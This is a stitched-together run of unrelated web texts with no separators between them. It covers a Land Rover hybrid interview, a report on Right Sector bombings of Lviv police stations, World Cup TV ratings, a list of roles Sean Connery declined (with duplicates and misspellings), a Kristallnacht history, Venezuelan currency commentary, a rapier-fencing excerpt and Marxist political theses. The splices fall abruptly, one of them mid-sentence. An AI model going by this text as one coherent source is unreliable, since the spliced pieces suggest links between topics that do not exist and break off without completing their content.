Most importantly, we haven’t taken anything out of the Range Rover products, only added the compact electric motor and battery. There’s minimal loss of cargo capacity from the battery in the trunk, and in exchange, you get 31 miles of all-electric driving and better fuel economy throughout. We believe this hybrid setup makes for a better Range Rover. Around town, pure EV mode makes the car even more refined and quiet. Off-road, all of that instant torque from the electric motor is very useful on tricky terrain. We’ve also addressed perhaps the only drawback of e-assistance – the audible feedback of the motor – with two channels in the audio system to cancel it out. We’ve been almost obsessive in these areas to retain the Range Rover formula of capability and refinement. For most of our customers, we think the appeal will be — this is a Range Rover that happens to be a plug-in hybrid, not the other way around.
Why start the electrification push on the Land Rover side with the Range Rover/Sport?
Many of our customers asked for this, were excited about the Range Rover and Range Rover Sport with electric assistance. Whether it’s dealer feedback direct from customers, or a product of our vast research into emerging global trends. Sometimes it’s quantity of data and sometimes it’s quality – just sitting down and listening/engaging with customers over dinner.
How does the I-Pace eTrophy Series fit into all this e-development?
We’re definitely in that space for a very specific reason. Yes, the series has a marketing reach, but it’s perhaps more valuable as an innovation lab of sorts – where we can learn and be competitive. What happens to batteries when they’re used as part of a race, the thermal management of those batteries, how the inverters work under those conditions. We can learn more through e-racing than perhaps even other motorsports. The internal combustion is nearly as good as it’s going to get – it’s close to the point of diminishing return. We’re still in the very early stages of electrification, though; there’s so much still to learn.
Is Land Rover advancing its battery technology largely in-house, or is it looking for external resources to have the appropriate solution for each model.
It’s a combination of our internal knowledge and supplier intel, but we certainly are building up our own capability when it comes to electrification. We’re heavily recruiting software, electrical, and battery engineers. We also work a lot with academic institutions. For example, in Portland Oregon, we work with a team of engineers – intentionally set apart from our core business – to be creative in ways that might otherwise be impossible in a large automaker. We have a lot of talented individuals now, and as the business has grown, success breeds success. I can see it in the graduates we recruit. There was a time when, to work in the car industry, you had to be a bit of a car nut, but now, these graduates see us as a technology company.
The LA show seems to be a particular highlight of Special Vehicle Operations. How is Land Rover empowering SVO to achieve its goals?
Indeed, when we showcased each of the SVO products, I felt a true sense of pride and achievement. As John Edwards (Head of SVO) said, they take great cars and amplify them. I love the fact that, within Land Rover, you can have those three expressions: SVA, SVX, and SVR – all authentically Land Rover, but each unique. And, in anything we do, we aren’t looking to make a better version of someone else’s car; we’re looking to make a better Jaguar or Land Rover. It’s an intentional push – to test ourselves – a bit further, a bit further. The same is true of the XE SV Project 8. For many customers, SVO has helped me to fulfill their dreams – personalized to a great degree.Double bombing follows weekend shootout between Right Sector fighters and police as president attempts to crack down on armed nationalists
Booby-trap explosions have injured two police officers in western Ukraine, further raising tensions in the region after a shootout with nationalists at the weekend left two men dead.
The continued violence in the area, which borders the European Union and is rife with smuggling, highlights Kiev’s struggles with both endemic corruption and armed nationalist groups who have helped it fight pro-Russia separatists in eastern Ukraine. On Monday Ukraine’s president, Petro Poroshenko, ordered the security services and police to disarm “illegal groups” and root out corruption and smuggling.
Two police officers in Lviv were taken to hospital on Tuesday after mysterious bombings that the interior ministry said were connected with “events in the Zakarpattia region”, referring to the shootout in the city of Mukacheve on Saturday that killed two men.
The gunfight began after police responded to the arrival of heavily armed Right Sector members at a sports complex controlled by an MP, Mikhail Lano, who openly opposes the group. Right Sector said its men had been trying to stop a smuggling operation, but others called it a fight over contraband.
Video footage showed Right Sector men shooting at a police car with Kalashnikov assault rifles and a heavy machine gun mounted on a pickup truck. The interior ministry said the far-right group had shot first.
The first blast in Lviv, which is north of Mukacheve, occurred at about 9am when a lieutenant opened a neighbourhood police station, setting off an explosion. The 24-year-old man was in hospital in critical condition with multiple shrapnel wounds to his head and body.
A second explosion went off about an hour later at another neighbourhood police station, injuring a 31-year-old female officer. The interior ministry said the station entrances had been booby-trapped and a safety clip from a grenade had been found at one site.
Security forces detained two members of Right Sector late on Monday who it said were involved in the Mukacheve shootout. After the gunfight, government forces had surrounded Right Sector members in a wooded area near Mukacheve as well as a base in the Lviv region.
Ukrainian far-right group claims to be co-ordinating violence in Kiev Read more
Right Sector grew in popularity after it played a lead role in the tumultuous mass protests that overthrew president Viktor Yanukovych in 2014, and the group has joined other volunteer battalions, many of them also with far-right views, to fight pro-Russia rebels in the east.
Kiev has been cautiously trying to integrate these irregular units into the military. Its troops surrounded a Right Sector base in eastern Ukraine in April after it refused to be broken up among different military units. The military eventually appointed Right Sector’s leader, MP Dmytro Yarosh as an adviser to the chief of staff, Viktor Muzhenko, in an apparent compromise.
But Saturday’s clash showed that the process of subordinating Right Sector, which has claimed to have 10,000 fighters, is far from complete. On Monday, Poroshenko took armed groups to task without mentioning Right Sector by name.
“No political force should have, and will not have, any kind of armed cells. No political organisation has the right to establish … criminal groups,” he told Ukraine’s security council.
Poroshenko added that the flow of weapons from the conflict in the east had raised the risk of crime around the country. Right Sector and other volunteer battalions have been accused of criminal activity and human rights violations, including torture and kidnapping.
Speaking to the national security council on Monday, Poroshenko called for an investigation into everyone involved in the Mukacheve incident, which he blamed on the redirection of smuggling flows, and demanded “searches, arrests and direct criminal liability”.
“We must untangle the knot of old problems requiring an immediate solution. I am talking about clans, smuggling, corruption and so on,” Poroshenko said, according to his press service. “The picture of what is happening there now is not black and white, it is simply shockingly black.”
On Tuesday, Ukraine’s parliament created a temporary investigative commission to look into the circumstances of the Mukacheve conflict. Meanwhile, customs agents in Zakarpattia confiscated a cache of 2,000 cigarettes hidden in a rail wagon full of iron ore.A lot of people will be taking a long lunch on Thursday, if Sunday evening’s ratings are to be trusted.
The United States drew Portugal in a match that brought almost everything soccer, and sports, has to offer a viewer to the forefront: ecstasy, agony, quirky rules, thrilling plays, and a heartbreak that still left fans with hope in the last minute. The World Cup continues to be a hot draw for the networks of ESPN, but the U.S. men’s national team has casual audiences hooked.
A game that featured Cristiano Ronaldo’s epic cross to find Silvestre Varela for the latest regulation goal ever at the World Cup drew a 9.1 rating on ESPN. Richard Deitsch provided a helpful comparison: that’s the same rating the network drew for Game 7 of the 2012 NBA Eastern Conference Finals between the Heat and the Celtics. It’s easily the highest-rated World Cup match ever on ESPN, and tops the 6.3 rating (which ended up working out to 11.1 million viewers) for USA-Ghana. It’s tied for the third-highest rated World Cup match ever on any of the three Disney networks (ABC, ESPN or ESPN2).
The top ten local markets show why we may see some high viewer numbers: Washington (leading all with a 13.3 rating), Columbus, New York, Boston, Hartford, Providence, Atlanta, Baltimore, Norfolk, Orlando. That’s six current or future MLS markets, and you could probably consider Hartford, Providence, Norfolk and Baltimore adjacent to MLS markets. The fact that big markets are drawing above the average rating for this game means we may see some very high total viewer numbers.
The only World Cup matches ever on ESPN or ABC to equal or better the USA-Portugal thriller: the 1994 World Cup Final in Pasadena between Italy and Brazil (12.4 rating), the Round of 16 match between the US and Brazil from that same tournament (10.4), and the US-Ghana thriller from the round of 16 in 2010 (9.1). ESPN equaled that for a group stage match. What’s next, should the USA qualify for the round of 16 this year?
UPDATE: The final numbers are in, and they are spectacular. ESPN drew 18.2 million viewers for the game, while Univision drew 6.5 million. That means 24.7 million on average tuned into USA-Portugal. That’s a larger number than every MLB, NBA or NHL game this past season. And according to Jonathan Tannenwald, it makes it tied for the most watched soccer game in American television history.
The ESPN telecast peaked from 7:30 to 8 p.m. ET with an average of 22.9 million viewers for the english-language broadcast alone. Aside from the NFL and college football, it is ESPN’s most-watched telecast. It is ESPN’s most-watched soccer telecast on record.Roles turned down by Sean Connery:
Connery was signed for the part of King of the Moon but budget troubles forced Terry Gilliam to cut great portions of the moon sequence. With his role diminished, Connery left the project.
Actor who got the part: Robin Williams
Sean Connery was originally considered for the role of Philip (Val Kilmer).
Actor who got the part: Val Kilmer
Passed on the role of John Quincy Adams.
Actor who got the part: Anthony Hopkins
Connery was considered for the role of Robert Rath. (it was written with him in mind)
Actor who got the part: Sylvester Stallone
Early on, Sean Connery and Ursula Andress were intended to play Austin's parents, spoofing their roles from 1962's Dr No.
Actor who got the part: Michael Caine
Alfred Hitchcock considered the young Connery to play a San Francisco lawyer whose romance with a beautiful, shallow playgirl gets torn apart by mysterious bird attacks.
Actor who got the part: Rod Taylor
According to "Dangerous Days: Making Blade Runner," Sean Connery was considered for the part of Deckard.
Actor who got the part: Harrison Ford
Playwright Tennessee Williams' top choice to play the hustler "Chris Flanders" opposite Elizabeth Taylor declined the opportunity.
Actor who got the part: Richard Burton
Sean Connery was set to co-star in this production before the death of River Phoenix.
Actor who got the part: None
Connery turned down the role of Simon Gruber due to the diabolical nature of the character.
Actor who got the part: Jeremy Irons
Sean Connery turned down the role of Robert Elliot due to prior commitment.
Actor who got the part: Michael Caine
Connery was interested in playing the role of Caravaggio, but had schedule conflicts that couldn't be worked out.
Actor who got the part: Willem Dafoe
Sean Connery was considered for the lead role of Inspector Fred Abberline.
Actor who got the part: Johnny Depp
Connery was offered the leading man role while filming "You Only Live Twice."
Actor who got the part: Omar Sharif
Sean Connery turned down the role of Frank Horrigan.
Actor who got the part: Clint Eastwood
Sean Connery was considered for the role of Ethan Powell.
Actor who got the part: Anthony Hopkins
Sean Connery was considered for the role of the Jackal.
Actor who got the part: Bruce Willis
Connery was to star in this film about master thief who organizes a team of notorious bank robbers to pull off a major job. Connery pulled out to focus on writing his autobiography.
Sean Connery turned down the role of John Hammond.
Actor who got the part: Richard Attenborough
Sean Connery turned down the role of James Bond.
Actor who got the part: Roger Moore
Sean Connery turned down the role of Gandalf. He said in an interview that he "didn't understand it" and therefore didn't want to spend 18 months on the project.
Actor who got the part: Ian McKellen
Sean Connery turned down the role of Gandalf.
Actor who got the part: Ian McKellen
Sean Connery turned down the role of Gandalf.
Actor who got the part: Ian McKellen
Sean Connery has publicly stated he was offered a role in the Matrix (although many people beleive it was actually The Architect in The Matrix Reloaded). He turned down the role saying he couldn't understand the script. Years later, he said that he chose to do "the League of Extraordinary Gentleman" (despite not understanding the project) because he regretted turning both "the Matrix" and "Lord of the Rings" down.
Actor who got the part: Laurence Fishburne
Sean Connery turned down the role of the Architect.
Actor who got the part: Helmut Bakaitis
Sean Connery turned down the role of the Architect.
Actor who got the part: Helmut Bakaitis
Sean Connery turned down the role of bond but returned once more in 'Diamonds Are Forever'.
Actor who got the part: George Lazemby
Sean Connery turned down the role of "Ed Lewis".
Actor who got the part: Richard Gere
Sean Connery thought it would be funny if he reprised his King Richard role from Robin Hood: The Prince of Thieves, but in drag. Mel Brooks found it funny too, but turned him down due to his salary.
Sean Connery was attached to play Rankin Fitch but later dropped out.
Actor who got the part: Gene Hackman
According to the DVD commentary, Connery was the top choice to play John Blackthorne by James Clavell, who wrote the novel, but he turned the part down.
Actor who got the part: Richard Chamberlain
Alfred Hitchcock wanted Connery to play the role of a man who, sent to intercept and kill a dangerous spy, falls in love with the spy's beautiful wife.
Actor who got the part: Film Was Never Made, Hitchcock Died
Considered for the role of "Captain von Trapp."
Actor who got the part: Christopher Plummer
Original choice for Sybock. the words in the film "Sha Ka Ree" are a play on of his name.
Actor who got the part: Laurence Luckinbill
Offered the role of Thomas Crown but declined. Connery later regretted his decision.
Actor who got the part: Steve McQueen
Alfred Hitchcock wanted to re-team "Marnie" stars Sean Connery and 'Tippi' Hedren as a married couple who go on a hunt to track and trap a brilliant, seductive international kidnapper in this big spy thriller. The project never got made.
Alfred Hitchcock offered the role of spy and family man "Andre Devereaux" to his "Marnie" star.
Actor who got the part: Frederick StaffordA Nationwide Pogrom
Kristallnacht, literally, "Night of Crystal," is often referred to as the "Night of Broken Glass." The name refers to the wave of violent anti-Jewish pogroms which took place on November 9 and 10, 1938. This wave of violence took place throughout Germany, annexed Austria, and in areas of the Sudetenland in Czechoslovakia recently occupied by German troops.
Origin of the Name "Kristallnacht"
Kristallnacht owes its name to the shards of shattered glass that lined German streets in the wake of the pogrom—broken glass from the windows of synagogues, homes, and Jewish-owned businesses plundered and destroyed during the violence.
Assassination of Ernst vom Rath
The violence was instigated primarily by Nazi Party officials and members of the SA (Sturmabteilungen: literally Assault Detachments, but commonly known as Storm Troopers) and Hitler Youth.
In its aftermath, German officials announced that Kristallnacht had erupted as a spontaneous outburst of public sentiment in response to the assassination of Ernst vom Rath. Vom Rath was a German embassy official stationed in Paris. Herschel Grynszpan, a 17-year-old Polish Jew, had shot the diplomat on November 7, 1938. A few days earlier, German authorities had expelled thousands of Jews of Polish citizenship living in Germany from the Reich; Grynszpan had received news that his parents, residents in Germany since 1911, were among them.
Grynszpan's parents and the other expelled Polish Jews were initially denied entry into their native Poland. They found themselves stranded in a refugee camp near the town of Zbaszyn in the border region between Poland and Germany. Already living illegally in Paris himself, a desperate Grynszpan apparently sought revenge for his family's precarious circumstances by appearing at the German embassy and shooting the diplomatic official assigned to assist him.
Vom Rath died on November 9, 1938, two days after the shooting. The day happened to coincide with the anniversary of the 1923 Beer Hall Putsch, an important date in the National Socialist calendar. The Nazi Party leadership, assembled in Munich for the commemoration, chose to use the occasion as a pretext to launch a night of antisemitic excesses. Propaganda minister Joseph Goebbels, a chief instigator of the Kristallnacht pogroms, suggested to the convened Nazi 'Old Guard' that 'World Jewry' had conspired to commit the assassination. He announced that "the Führer has decided that … demonstrations should not be prepared or organized by the Party, but insofar as they erupt spontaneously, they are not to be hampered."
November 9–10
"Kristallnacht": nationwide pogrom - US Holocaust Memorial Museum
Goebbels' words appear to have been taken as a command for unleashing the violence. After his speech, the assembled regional Party leaders issued instructions to their local offices. Violence began to erupt in various parts of the Reich throughout the late evening and early morning hours of November 9–10. At 1:20 a.m. on November 10, Reinhard Heydrich, in his capacity as head of the Security Police (Sicherheitspolizei) sent an urgent telegram to headquarters and stations of the State Police and to SA leaders in their various districts, which contained directives regarding the riots. SA and Hitler Youth units throughout Germany and its annexed territories engaged in the destruction of Jewish-owned homes and businesses. Members of many units wore civilian clothes to support the fiction that the disturbances were expressions of 'outraged public reaction.'
Despite the outward appearance of spontaneous violence, and the local cast which the pogrom took on in various regions throughout the Reich, the central orders Heydrich relayed gave specific instructions: the "spontaneous" rioters were to take no measures endangering non-Jewish German life or property; they were not to subject foreigners (even Jewish foreigners) to violence; and they were to remove all synagogue archives prior to vandalizing synagogues and other properties of the Jewish communities, and to transfer that archival material to the Security Service (Sicherheitsdienst, or SD). The orders also indicated that police officials should arrest as many Jews as local jails could hold, preferably young, healthy men.
Destruction of Synagogues and Buildings
Desecrated Torah scrolls - US Holocaust Memorial Museum - Collections
The rioters destroyed 267 synagogues throughout Germany, Austria, and the Sudetenland. Many synagogues burned throughout the night in full view of the public and of local firefighters, who had received orders to intervene only to prevent flames from spreading to nearby buildings. SA and Hitler Youth members across the country shattered the shop windows of an estimated 7,500 Jewish-owned commercial establishments and looted their wares. Jewish cemeteries became a particular object of desecration in many regions.
The pogrom proved especially destructive in Berlin and Vienna, home to the two largest Jewish communities in the German Reich. Mobs of SA men roamed the streets, attacking Jews in their houses and forcing Jews they encountered to perform acts of public humiliation. Although murder did not figure in the central directives, Kristallnacht claimed the lives of at least 91 Jews between 9 and 10 November. Police records of the period document a high number of rapes and of suicides in the aftermath of the violence.
Arrests of Jewish Men
SS guards force Jews, arrested during Kristallnacht (the "Night of Broken Glass"), to march through the town of Baden-Baden. - Bildarchiv Preussischer Kulturbesitz
As the pogrom spread, units of the SS and Gestapo (Secret State Police), following Heydrich's instructions, arrested up to 30,000 Jewish males, and transferred most of them from local prisons to Dachau, Buchenwald, Sachsenhausen, and other concentration camps.
Significantly, Kristallnacht marks the first instance in which the Nazi regime incarcerated Jews on a massive scale simply on the basis of their ethnicity. Hundreds died in the camps as a result of the brutal treatment they endured. Most did obtain release over the next three months on the condition that they begin the process of emigration from Germany. Indeed, the effects of Kristallnacht would serve as a spur to the emigration of Jews from Germany in the months to come.
Aftermath
In the immediate aftermath of the pogrom, many German leaders, like Hermann Göring, criticized the extensive material losses produced by the antisemitic riots, pointing out that if nothing were done to intervene, German insurance companies—not Jewish-owned businesses—would have to carry the costs of the damages. Nevertheless, Göring and other top party leaders decided to use the opportunity to introduce measures to eliminate Jews and perceived Jewish influence from the German economic sphere.
The German government made an immediate pronouncement that “the Jews” themselves were to blame for the pogrom and imposed a fine of one billion Reichsmark (some 400 million US dollars at 1938 rates) on the German Jewish community. The Reich government confiscated all insurance payouts to Jews whose businesses and homes were looted or destroyed, leaving the Jewish owners personally responsible for the cost of all repairs.
Anti-Jewish Legislation
In the weeks that followed, the German government promulgated dozens of laws and decrees designed to deprive Jews of their property and of their means of livelihood. Many of these laws enforced “Aryanization” policy—the transfer of Jewish-owned enterprises and property to “Aryan” ownership, usually for a fraction of their true value. Ensuing legislation barred Jews, already ineligible for employment in the public sector, from practicing most professions in the private sector. The legislation made further strides in removing Jews from public life. German education officials expelled Jewish children still attending German schools. German Jews lost their right to hold a driver's license or own an automobile. Legislation restricted access to public transport. Jews could no longer gain admittance to “German” theaters, movie cinemas, or concert halls.
American Press Reports on Kristallnacht
American newspapers across the country covered the Nazi assault on Jews in front-page, banner headlines, and articles about the events continued to appear for several weeks. No other story about the persecution of the Jews received such widespread and sustained attention from the American press at any |
for vital imports such as food, medicine, raw materials for production, as well as pensions for Venezuelans living abroad. The new rate, known as DIPRO, will also be used for payments in the state sectors of healthcare, culture, sports, scientific investigations, and in other cases of special urgency. Venezuelan students studying at academic institutions abroad will likewise have access to DIPRO to finance their studies. The vice-president also unveiled a second floating exchange rate known as DICOM, which will govern all other transactions not covered by DIPRO. DICOM will fluctuate according to market supply and demand, opening at an initial rate of 206.92 bolivars per dollar. In a crucial modification, travellers’ dollars, which Venezuelans could previously acquire at the CENCOEX rate of 13.5 bolivars per dollar, will now only be available at the floating DICOM rate, amounting to a 1,425.9% devaluation. In order to access the maximum annual limit of 2,500 travel dollars, Venezuelans will now have to pay 513,300 bolivars in lieu of 33,750 bolivars. In another important change unveiled yesterday, the state oil company PDVSA will now sell dollars to the Venezuelan state at the DIPRO rate of 10 bolivars per dollar instead of the prior rate of 6.3. The move is anticipated to generate greater revenue for the state oil giant, which is needed to cover internal operational costs, honor debts with contractors and providers, as well as continue funding social programs. Venezuela is obligated to make a $8.1 billion payment on PDVSA bonds to international creditors by the close of 2016. In February, Venezuela earned only $70 million in oil revenues, down from $3 billion in January 2014.
Default Averted for Now
On October 21, Venezuela Analysis noted Venezuela’s PDVSA Warns of Debt Payment “Difficulties”.
Five days later Venezuela Analysis reported PDVSA Secures $2.8 Billion Bond Swap to Avert Default.
Venezuelan state oil company PDVSA announced Monday that creditors had accepted a proposal to exchange US$2.8 billion in bonds maturing in 2017 for $3.4 billion due in 2020. In late September, the state oil giant presented creditors with a modified offer to exchange $5.325 billion in bonds due in 2017 for securities payable at 1.22 times the principal in 2020. With the deadline for the deal fast approaching and less than half of bondholders on board, PDVSA extended the cutoff three times and threatened to default if a majority did not accept the deal. By the final deadline Monday, 52.57 percent of creditors agreed to the offer, amounting to a successful swap of 45.3 percent of bonds due in April and November 2017 equal to $2.8 billion. Venezuelan Oil Minister and PDVSA President Eulogio Del Pino hailed the deal a “victory over the onslaught of internal and external elements that wagered on a negative result for the company and the country. While Venezuela’s foreign reserves have fallen to a new low of $11.8 billion, rising oil prices could yield the government an additional $2.5 billion in revenue this year, reports Financial Times.
Venezuela US Dollar Forex Reserves 2006-Present
Chart from Trading Economics
Crude Price 2006-Present
Venezuela’s US Dollar reserves fell from roughly $31 billion to roughly $21 billion from the beginning of 2010 to mid-2014 despite rise in oil from $73 to over $100 per barrel.
As social pressures mount, president Nicolás Maduro will be forced to use more reserves to buy food and other goods to stave off unrest.
I fail to see how another $2.5 billion in oil revenue each year will stave off default.
$50 or even 70 per barrel seems unlikely to stop the hemorrhaging.
Finally, I wonder how much of those reserves padded corrupt politicians pockets exchanging 10 bolivars for one US dollar at the official exchange rate.
Mike “Mish ShedlockWide Measure
Firstly you must learn to recognize well that when you must and can come with your weak onto the enemy’s weak, this is the wide measure. In this, as he is too far away, you cannot injure the enemy without setting your right foot forward twice and your left once, to gain the enemy’s weak with your strong as the Figure No. VI. placed opposite shows. And with this you must nonetheless always seek to injure the enemy in one tempo, as, however, cannot be done in the wide measure, except with extraordinarily great swiftness.
A significant problem in rapier is that fencers are often inclined to attack at the wrong measure. They gain the sword in wide measure and then immediate launch an attack, which is easily countered.
Narrow Measure
Secondly, concerning the near or right measure, this occurs when with a swift setting forward of the right foot and fist, from which the thrust follows, you can injure the enemy in one tempo with extended arm, proper body, and with your foot set forward, either in secunda, tertia, or quarta, as can be seen in the following Chapter VII. and as Figure No. VII. demonstrates.
Another problem is that, in an attempt to keep the sword pointed at their opponent, they lower the tip in narrow measure. It is really tempting to place yourself in the position of the right fencer. To the untrained eye it looks like your sword is online for a thrust, when in fact all you’ve done is given your sword to your opponent.
The fencer on the left is doing it correctly. Rather than pointing his sword at his opponent, he is looking through the weak of the sword at his target. It may seem counter-intuitive, but your point rarely travels in the straight line formed by it and the hilt. This illustration by di’Grassi shows how that the seemingly straight-line movement of the point is really the combination of two circular movements, one at the shoulder and the other at the wrist.
The mind is well equipped to compensate for the complex movement of the body, making whatever adjustments are necessary to strike what you are looking at. But therein lies the problem. If your point is low such that it is pointed directly at your opponent, and you can see said point, then you aren’t looking at your opponent’s face or chest. Rather, you are looking at their belly as this annotated illustration shows.
Footnote (literally)
Look closely at the ground to the left of the fencer in the above illustration. L’Ange occasionally shows the starting position of the feet, allowing us to better understand what type of footwork was being used.
AdvertisementsThe political situation across the Canadian state is characterized by subterranean moods of discontent that burst out in sporadic explosions. All of these movements are manifestations of the underlying crisis of the system. To help arm workers and young people in the fights to come, Fightback is publishing our political perspectives for 2013 — "Theses on the Class Struggle in Canada". We welcome feedback from everyone; please contact us at fightback@marxist.ca.
Theses on the Class Struggle in Canada
A burning anger in society
1. The political situation is characterized by subterranean moods of discontent that burst out in sporadic explosions. The Occupy movement, which was predicted by the Marxists, appeared to spontaneously erupt, and then disappear just as quickly. The fantastic Quebec student strike, which was instrumental in defeating the Jean Charest Liberals, managed to mobilize hundreds of thousands of people and sparked off the inspiring “Casseroles” demonstrations. Currently, the accumulated oppression felt by First Nations people is being expressed through the “Idle No More” movement. All of these movements are manifestations of the underlying crisis of the system.
2. While not explicitly tied together by organizational bonds, all these movements share a common thread. Firstly, and significantly, they overwhelmingly involve the youth. Secondly, their critique implicitly condemns the entire set-up of society. And thirdly, there is a significant “spontaneous” element in all of them. None of these commonalities are accidental.
3. The youth feel the crisis of the system much more sharply and thus, are frequently the first to move. Without the weight of habit, routine, and past defeats, young people are far more sensitive to the underlying malaise in society. This is an international phenomenon. In Greece, the present general strike movement, and radicalization of public opinion, was presaged by a youth uprising, sparked by the police killing of a 15-year old student, Alexandros Grigoropoulos, in December of 2008. In Spain, the indignados youth movement of 2011 has set the stage for the current crisis of the regime. We must not forget that the Arab revolutions were also initiated by the youth.
4. Up to this point, spontaneity has played a significant role. This can appear to contradict the Marxists, who give specific emphasis to the mass organizations of the working class. The reality is that there is huge pressure built up in the system. This pressure is desperately looking for an outlet. Unfortunately, the structures built to aid the workers and youth in expressing their anger are blocked. The reformist bureaucratic leadership of the labour movement and workers parties are doing everything in their power to dampen down the struggle. But the economic and social crisis continues unabated and the movement looks for any opening. This is why Occupy, the Casseroles, and Idle No More burst forward independently and outside of the mass organizations.
5. However, spontaneity has its limitations. What bursts forth spontaneously can dissipate just as quickly without a stable structure to consolidate it. In the early stages, spontaneity can lead to amazing élan and strength. The diffuse nature of the movement means that all can identify it with their own personal cause. However, revolutionary struggle is not that simple. Reaction has learned how to deal with such “leaderless” movements using both repression and subterfuge. Timely concessions can serve to split the mass from the advanced layer, or alternatively, the state can just wait for the movement to run out of steam by itself. People can only demonstrate for so long before they have to get back to attending to their own lives. This is exacerbated when the masses do not see a clear route to victory. This was the case with Occupy, and it could have been the case with the Quebec students on numerous occasions if the Charest government had not re-ignited the movement with new oppressions, and then given the people a new outlet via the provincial election. The limits of spontaneity have been shown in the Arab revolutions; after defeating the regime there was no vehicle present whereby the revolutionary people could take power. In this situation the Islamist elements filled the organizational vacuum. The people must now pay the price of new uprisings and sacrifice before the revolution can be completed.
6. To date, the Canadian working class has not entered the struggle in a decisive fashion. This is not because the workers are contented by any means. There is an ongoing onslaught against the working class. Workers at Air Canada, Canada Post, CP Rail, and teachers in Ontario, to mention a few, have faced enforced contracts and removal of the right to strike. This has led to mass demonstrations and even a victorious wildcat walkout at Air Canada. But without exception, the leadership of the unions were incapable, or unwilling, to take the necessary actions to defeat the attacks. They have all bowed down at the altar of bourgeois legality and all of these movements have been aborted before they could take off. It is an old saying in the labour movement that “weakness invites aggression”. The present weakness at the top of the movement is being utilized by right-wing governments to push their advantage. “Right-to-work” and other anti-union legislation looms as a real prospect.
7. However, the bourgeois are advised to proceed with caution. They are accustomed to dealing with cowardly bureaucracies who capitulate when faced with a genuine struggle. But if they push the workers too far, the workers will push aside their mis-leaders. This will take time and it is impossible to predict when exactly the workers will take hold of the baton of struggle, offered to them by the youth — it could be 6 months, 12 months, or five years from now. We do not know when the movement will break through, but until it does, sporadic “spontaneous” uprisings are to be expected. Due to the lack of revolutionary working class leadership, the movement will by necessity be protracted, with many defeats and even periods of reaction and disappointment. But the general development towards heightened struggle remains unchanged because the capitalist system offers no other way out for the working class for the foreseeable future.
No economic way out under capitalism
8. Marxists are not economic determinists. The economic conjuncture colours the development of the class struggle in a general sense, but the details of each struggle are independent of economics. There is a dialectical, not linear, relationship between economics and the class struggle. In general, a society that can develop the means of production can afford concessions that tend to promote stability. A society that cannot will enter into a period of decline and crisis.
9. We do not believe that there is any reasonable prospect for economic growth in Canada sufficient to open up a new period of reforms benefiting the working class. This point of view is shared by the strategists of capital. For example, Don Drummond, the former chief economist of Toronto-Dominion Bank, explained that he did not see growth rates exceeding 2% for the “foreseeable future”. The bourgeoisie is not predicting growth and reforms; they are predicting cuts and austerity for at least a decade, if not longer.
10. Rather than being pessimistic, as some reformists say, it appears that Drummond and Co.’s prediction of 2% may even be too optimistic. There are significant possibilities that the Canadian economy may not even reach this tepid rate of growth.
11. Household debt in Canada is currently at over 160% of annual personal income, and this has been a factor in the recent credit rating downgrade of the big Canadian banks. The low interest rates triggered by the global financial crash of 2008 have led to a building bubble in Canada’s biggest cities. There are 120 highrises that are either planned or under construction in Toronto. This is the highest level of activity on the planet, with the next highest number of projects (just over 30) being built in Mexico City. Vancouver, Toronto, and other Canadian cities continue to have the least affordable housing in the world. It currently appears as if housing sales are slowing down, but prices are not following suit. This situation cannot continue indefinitely and a “correction” is inevitable, sooner or later. Removal of the economic activity and employment associated with construction could be the shock that sends Canada into a new downturn.
12. Commentators have been hopeful about the US economy entering a recovery and dragging Canada up with it, but this is not materializing. US GDP actually fell by 0.1% in the fourth quarter of 2012 — more than a full percentage point lower than expectations. This is partially an expression of the continued global economic crisis, with Europe in a terrible state.
13. Outgoing Bank of Canada governor Mark Carney has admonished corporate Canada for stockpiling over $500-billion in “dead money” that should be invested to revitalize the economy. This amounts to about one-third (32%) of Canadian GDP, four times higher than the US rate. Essentially, Canadian corporations are pocketing all the government tax-cuts and “stimulus” without investing in the wider economy.
14. This money hoarding is perfectly logical in the insane system of free market capitalism. Royal Bank of Canada economist David Onyett-Jeffries explained, “Given the persistently high degree of uncertainty about the global economic outlook, it is thus reasonable that firms would opt to hold a relatively larger cash buffer lest they be caught short when the next crisis rears its ugly face.” In other words, the capitalists have no faith in their system and this is expressing itself in the most important language of all — that of money. Capitalists do not invest for fun — they invest for profit. With no hope that investment will bring any return, the system is paralyzed. This is the clearest indictment of the system possible.
15. Much has been said about the stability of Canada’s banks. Indeed, they are well insured through the government-owned Canada Mortgage and Housing Corporation (CMHC). A little known fact is that Canada’s banks received a secret $125-billion bailout via CMHC after the financial crash of 2008. Based on their stock market valuations, this money was sufficient to effectively nationalize the Canadian banking sector. However, this government largess did not stop the bankers from awarding themselves billions of dollars in bonuses while suckling on the public teat. From the perspective of workers facing austerity, the injustice of this situation is clear (and has been dealt with elsewhere). However, it has important ramifications for the stability of the system itself.
16. In the event of a new crash of the property market, combined with a spike in unemployment and a wave of bankruptcies due to the historically high levels of personal debt, Canada’s banks will find themselves under significant pressure. However, via CMHC, it is almost guaranteed that none of the big banks will be allowed to go under. This has been characterized as “the privatization of profits and the socialization of losses”. The bad debts will be transferred to the taxpayer — significantly increasing government debt. Canadian debt-to-GDP is already high, but this development would be sufficient to push it to crisis levels.
17. According to the Economist magazine, this is how Canada’s aggregate debt-to-GDP ratio (federal + provincial + municipal + Crown corporation debt) compares with other economies:
Spain 73%
USA: 75%
Germany 83%
Canada: 87%
France: 90%
UK: 91%
Italy 121%
Greece 158%
Japan 225%
18. The current high levels of debt are the rationale for the wave of austerity internationally. Canada is not excluded from this tendency. High debt, combined with a reduced credit rating, increases the cost of debt servicing above all other government services. The capitalists cannot simply ignore this. In the event of a new bailout, Canada can find itself in a far more desperate condition than it currently enjoys.
19. All economic perspectives are conditional with respect to timing and degree. Those who say they know precisely how the economy will develop are often the same people who are selling pyramid schemes. In the final analysis, there is no “final crisis” of capitalism. The capitalist system will always find a way out, one way or another. However, this statement does not exhaust the question. “One way or another” does not mean that growth can be attained simply, automatically, quickly, or painlessly. The last great crisis of capitalism was only resolved after a decade of depression, the extermination of 50-million souls, and the potential eradication of civilization. We do not know what measures the bourgeois will need to take to re-balance their system, but we are certain that the building of a new society will be far less painful and costly than maintenance of the profit motive.
Simply taxing the rich is not a solution
20. In 1960, British Trotskyist Ted Grant analyzed the post-war boom to determine if the high rates of growth of that period necessitated a revision of the Marxist analysis of capitalist economics. “Will There be a Slump?” remains a Marxist classic to this day. In particular, Ted analyzed the ideas of Keynes to see if they were a solution. In his time, Keynes’ ideas of “pump-priming” were viewed as the definitive answer to Marx and the mechanism whereby slumps (and booms) could be averted. Ted showed these ideas to be false and the Marxist method to hold true — subsequently demonstrated by the hyperinflation and slump of the 1970s.
